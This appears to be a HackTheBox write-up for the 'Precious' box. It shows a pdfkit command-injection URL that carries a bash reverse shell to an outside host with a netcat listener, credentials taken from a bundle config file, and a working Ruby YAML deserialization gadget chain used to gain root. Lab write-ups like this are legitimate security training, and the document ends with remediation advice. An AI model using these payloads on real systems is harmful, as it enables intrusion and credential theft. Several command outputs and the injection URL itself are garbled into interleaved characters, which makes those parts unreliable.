Precious is an easy-rated Linux box on HackTheBox that focuses on web exploitation through command injection in a PDF generator service, followed by privilege escalation via YAML deserialization. This box is perfect for practicing enumeration and understanding how seemingly innocent features can be weaponized.

Reconnaissance

Nmap Scan

Starting with an nmap scan to identify open ports and services:

nmap -sC -sV -oA nmap/precious 10.10.11.189

Results:

P 2 8 O 2 0 R / / T t t c c p p S o o T p p A e e T n n E S s h E s t R h t V p I C E V O n E p g R e i S n n I S x O S N H 1 . 8 1 . 8 4 . p 0 1 D e b i a n 5 + d e b 1 1 u 1

Two services running - SSH on port 22 and HTTP on port 80. The web service is our likely entry point.

Web Enumeration

Visiting http://10.10.11.189 reveals a simple web application that converts web pages to PDF files. The application accepts a URL and returns a PDF version of the page.

Precious Web App

The application is using a Ruby framework based on the HTTP headers. Let’s test if it’s vulnerable to command injection or SSRF.

Initial Foothold

Command Injection in PDF Generator

I set up a simple Python HTTP server to host a test page:

python3 -m http.server 8000

When submitting my machine’s IP to the PDF generator, I noticed the application successfully fetches and converts the page. More importantly, the generated PDF contains metadata that reveals the underlying tool:

exiftool precious.pdf

Output:

C r e a t o r : G e n e r a t e d b y p d f k i t v 0 . 8 . 6

Searching for pdfkit 0.8.6 vulnerabilities reveals CVE-2022-25765 - a command injection vulnerability in older versions of pdfkit.

Exploiting CVE-2022-25765

The vulnerability allows command injection through URL parameters. I crafted a malicious URL:

h t t p : / / 1 0 . 1 0 . 1 4 . 5 : 8 0 0 0 / ? n a m e = # { ' % 2 0 ` b a s h - c " b a s h - i > & / d e v / t c p / 1 0 . 1 0 . 1 4 . 5 / 4 4 4 4 0 > & 1 " ` ' }

Setting up a netcat listener:

nc -lvnp 4444

After submitting the crafted URL to the PDF generator, I received a reverse shell as user ruby!

ruby@precious:~$ whoami
ruby

User Flag

The user flag was found in /home/ruby/user.txt:

cat /home/ruby/user.txt
f5a[REDACTED]e21

Privilege Escalation

Enumeration as Ruby User

Looking around the home directory, I found a .bundle/config file containing credentials:

cat ~/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c[REDACTED]dZqqT"

These credentials worked for SSH access as user henry:

Privilege Escalation to Root

Checking sudo privileges for henry:

sudo -l

Output:

U s e r ( h r e o n o r t y ) m N a O y P A r S u S n W D t : h e / u f s o r l / l b o i w n i / n r g u b c y o m m o a p n t d / s u p o d n a t p e r _ e d c e i p o e u n s d : e n c i e s . r b

Henry can run a Ruby script as root. Let’s examine it:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The script uses YAML.load() to parse a dependencies.yml file from the current directory. This is vulnerable to YAML deserialization attacks!

YAML Deserialization Attack

I created a malicious dependencies.yml file that will execute a command when loaded:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetch
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve

Running the script with sudo:

sudo /usr/bin/ruby /opt/update_dependencies.rb

This sets the SUID bit on /bin/bash, allowing us to spawn a root shell:

bash -p
bash-5.1# whoami
root

Root Flag

cat /root/root.txt
b5a[REDACTED]f2c

Key Takeaways

  1. Always check tool versions - The PDF metadata revealed pdfkit version, leading to the CVE discovery
  2. Credentials in config files - Found hard-coded credentials in .bundle/config
  3. YAML.load() is dangerous - Using YAML.safe_load() would have prevented the deserialization attack
  4. Defense in depth - Multiple vulnerabilities chained together for full compromise

Remediation

  • Update pdfkit to version 0.8.7.2 or later
  • Use YAML.safe_load() instead of YAML.load()
  • Never hard-code credentials in configuration files
  • Implement proper input validation for URL parameters
  • Restrict sudo permissions to specific file paths, not user-controlled directories

Box Info:

  • Difficulty: Easy
  • OS: Linux
  • Release Date: November 2022
  • IP: 10.10.11.189

Thanks for reading! Feel free to reach out on Twitter if you have questions or want to discuss the box.